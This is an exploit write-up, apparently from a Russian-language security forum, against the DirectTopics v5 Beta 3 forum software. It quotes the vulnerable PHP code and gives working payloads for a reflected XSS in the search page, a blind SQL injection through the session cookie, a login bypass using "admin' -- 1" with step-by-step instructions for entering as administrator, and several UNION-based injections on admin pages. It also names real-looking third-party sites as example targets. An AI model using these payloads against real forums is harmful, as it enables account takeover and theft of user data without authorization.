DirectTopics v5 Beta 3
http://www.directtopics.nl/
pxss
http://localhost/DT5/zoeken.php?term=mm@mm.mm&type=topic&forum=111&stat us=alle&sorteren=1>'><script>alert(121212)</script>&sorttype=ASC&submit=Zoeken
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includes/config.inc.php
PHP код:
if( !isset($_COOKIE['user_id']) || empty($_COOKIE['user_id']) || !is_numeric($_COOKIE['user_id']) || empty($_COOKIE['sessie_hash']) ){
//Geen bestaande cookies, user niet ingelogd
$_SESSION['ingelogd'] = 0;
$_SESSION['user_id'] = 0;
$_SESSION['tijd_ingelogd'] = 0;
$_SESSION['last_active'] = 0;
} elseif( !empty($_COOKIE['user_id']) && !empty($_COOKIE['sessie_hash']) ){
//Cookies bestaan, controlleren op waarde
$Sessies_Query = $Sql->Query("SELECT l.*, s.*, g.* FROM dt5_leden l, dt5_sessions s, dt5_groepen g WHERE s.userid = '".$_COOKIE['user_id']."' && s.hash = '".$_COOKIE['sessie_hash']."' && l.led_id = s.userid && g.groep_id = l.led_groep");
$Sessie = mysql_fetch_array($Sessies_Query);
Blind SQL
http://localhost/DT5/index.php
cookies
PHPSESSID=be3a9c4bec43b23eabd98ead717cb00e;
sessie_hash=' UNION SELECT 1,(select+*+from(select+*+from(select+name_const(( version()),1)d)+as+t+join+(select+name_const((vers ion()),1)e)b)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16 ,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,3 3,34,35,36,37,38,39,40,41,42,43,44,45,46,47 -- 1;
user_id=2
-------------------------
inloggen.php
PHP код:
if( isset($_POST['submit']) ){
$User_Check_Query = $Sql->Query("SELECT led_id, led_nickname, led_wachtwoord, led_active FROM dt5_leden WHERE led_nickname = '".$_POST['login_nickname']."' && led_wachtwoord = '".md5($_POST['login_wachtwoord'])."'");
$User = mysql_fetch_array($User_Check_Query);
if( $Sql->Count($User_Check_Query) == 0){
$Tpl->newBlock('TOON_MELDING');
$Tpl->Assign('MELDING', 'De ingevoerde combinatie is niet juist.');
} else {
$Ban_Query = $Sql->Query("SELECT ban_gebnaam FROM dt5_ban WHERE ban_gebnaam = '".$_POST['login_nickname']."'");
if( $Sql->Count($Ban_Query) > 0){
$Tpl->newBlock('TOON_MELDING');
$Tpl->Assign('MELDING', 'Deze gebruikersnaam is verbannen van het forum. Het is dus niet mogelijk in te loggen met deze gebruikersnaam.');
} else {
$User_nickname = $Txt->safeoutput($User['led_nickname']);
$Login_Hash = md5( $User['led_id'].$User_nickname.time() );
$Sessie_naam = addslashes($_POST['sessie_naam']);
setcookie('user_id', $User['led_id'], time()+3600*24*31, '/');
setcookie('sessie_hash', $Login_Hash, time()+3600*24*31, '/');
$_SESSION['ingelogd'] = 1;
$_SESSION['user_id'] = $User['led_id'];
$_SESSION['nickname'] = $User_nickname;
$Sql->Query("INSERT INTO dt5_sessions (sessie_id, ingelogd, hash, userid, user_ip, tijd_ingelogd, tijd_lastactive, sessie_naam) VALUES ('".session_id()."', 'ja', '".$Login_Hash."', '".$User['led_id']."', '".$_SERVER['REMOTE_ADDR']."', '".time()."', '".time()."', '".$Sessie_naam."')");
if( $User['led_active'] == 'nee' ){
$Sql->Query("UPDATE dt5_leden SET led_active = 'ja' WHERE led_id = '".$User['led_id']."'");
}
$Tpl->newBlock('TOON_MELDING');
$Tpl->Assign('MELDING', 'Je bent succesvol ingelogd als '.$User_nickname.'. Je wordt nu teruggestuurd naar de index.');
header('Refresh: 3; url= '.$Global_install_url.'index'.$Global_extension);
Blind SQL
mq=off
http://localhost/DT5/user.php/inloggen
post
login_nickname=admin' -- 1
Заходим админом
По адресу http://localhost/DT5/leden.php
можно узнать логин администратора
Логинимся
http://localhost/DT5/user.php/inloggen
в поле "Gebruikersnaam:" вводим имя админа и экранируем окончание SQL запроса
Gebruikersnaam:admin' -- 1
Wachtwoord:пусто
Locatie (Sessie naam) :пусто
Пример
http://www.onkrooid.be/forum/user.php/inloggen
post
login_nickname=Jonah' -- 1
http://examen2009.media2you.nl/user.php/inloggen
Gebruikersnaam:Administrator' -- 1
-------------------------
admin/categorieen.php
PHP код:
} elseif ( $_GET['a'] == 'wijzigen' ){
if( isset($_POST['submit']) ){
...
} else {
$Categorie_Query = $Sql->Query("SELECT * FROM dt5_categorie WHERE cat_id = '".$_GET['id']."'");
SQL
mq=off
доступ в админку
http://localhost/DT5/admin/index.php?a=wijzigen&s=subforum&p=categorieen&id=-1'+union+select+1,version(),3+--+
-------------------------
admin/editprofiel.php
PHP код:
if( empty($_GET['id']) ){
if( isset($_POST['submit_zoek']) ){
if( empty($_POST['gebnaam']) && empty($_POST['userid']) ){
$Tpl->newBlock('TOON_MELDING');
$Tpl->Assign('MELDING', 'Je moet wel een Gebruikersnaam of GebruikersID invullen. Klik <a href="javascript:history.go(-1)">hier</a> om terug te gaan.');
} else {
$User_Check_Query = "SELECT led_id FROM dt5_leden WHERE ";
if( empty($_POST['gebnaam']) && !empty($_POST['userid']) ){
$User_Check_Query .= "led_id = '".addslashes($_POST['userid'])."'";
} elseif( !empty($_POST['gebnaam']) && empty($_POST['userid']) ){
$User_Check_Query .= "led_nickname = '".addslashes($_POST['gebnaam'])."'";
} elseif( !empty($_POST['gebnaam']) && !empty($_POST['userid']) ){
$User_Check_Query .= "led_nickname = '".addslashes($_POST['gebnaam'])."' && led_id = '".addslashes($_POST['userid'])."'";
}
...
} else {
$User_Query = $Sql->Query("SELECT * FROM dt5_leden WHERE led_id = '".$_GET['id']."'");
$User = mysql_fetch_array($User_Query);
SQL
mq=off
доступ в админку
http://localhost/DT5/admin/index.php?s=leden&p=editprofiel&id=-1'+union+select+1,user(),3,4,database(),6,version( ),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 ,25,26,27,28,29,30,31+--+
-------------------------
admin/faqs.php
PHP код:
} elseif ( $_GET['a'] == 'wijzigen' ){
if( isset($_POST['submit']) ){
if( empty($_POST['faq_titel']) || empty($_POST['faq_naam']) || empty($_POST['faq_bericht']) || empty($_POST['faq_inleiding']) ){
$Tpl->newBlock('TOON_MELDING');
$Tpl->Assign('TITEL', 'Fout!');
$Tpl->Assign('MELDING', 'Je moet wel de volgende velden invullen:<br>- FAQ Titel<br>- FAQ Naam<br>- FAQ Bericht<br>- FAQ Inleiding<p>Klik <a href="javascript:history.go(-1)">hier</a> om terug te gaan.</p>');
} else {
$Faq_titel = addslashes($_POST['faq_titel']);
$Faq_naam = addslashes($_POST['faq_naam']);
$Faq_inleiding = addslashes($_POST['faq_inleiding']);
$Faq_bericht = addslashes($_POST['faq_bericht']);
$Faq_groepen = addslashes($_POST['faq_groepen']);
$Sql->Query("UPDATE dt5_faqs SET faq_titel = '".$Faq_titel."', faq_naam = '".$Faq_naam."', faq_inleiding = '".$Faq_inleiding."', faq_bericht = '".$Faq_bericht."', faq_groepen = '".$Faq_groepen."' WHERE faq_id = '".$_GET['id']."'");
$Tpl->newBlock('TOON_MELDING');
$Tpl->Assign('TITEL', 'FAQ Gewijzigd');
$Tpl->Assign('MELDING', 'De FAQ is gewijzigd. Je kunt hem vinden door <a href="'.$Global_install_url.'faq'.$Global_extension.'/'.$Faq_naam.'" target="_blank">hier</a> te klikken.');
}
} else {
$Faq_Query = $Sql->Query("SELECT * FROM dt5_faqs WHERE faq_id = '".$_GET['id']."'");
$Faq = mysql_fetch_array($Faq_Query);
SQL
mq=off
доступ в админку
http://localhost/DT5/admin/index.php?s=beheer&p=faqs&a=wijzigen&id=-1'+union+select+1,version(),user(),database(),5,6+--+
-------------------------
аналогично
SQL
mq=off
доступ в админку
http://localhost/DT5/admin/index.php?s=leden&p=groepen&a=wijzigen&id=-1э+union+select+1,version(),3,user(),5,6,7,8+--+
http://localhost/DT5/admin/index.php?s=leden&p=notities&a=wijzigen&id=-2'+union+select+1,2,3,4,version(),6,user()+--+
http://localhost/DT5/admin/index.php?s=subforum&p=subforums&a=wijzigen&id=-1'+union+select+1,version(),3,4,user(),6,7,8,9,10, 11,12,13+--+
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DirectTopics v5 Beta 3
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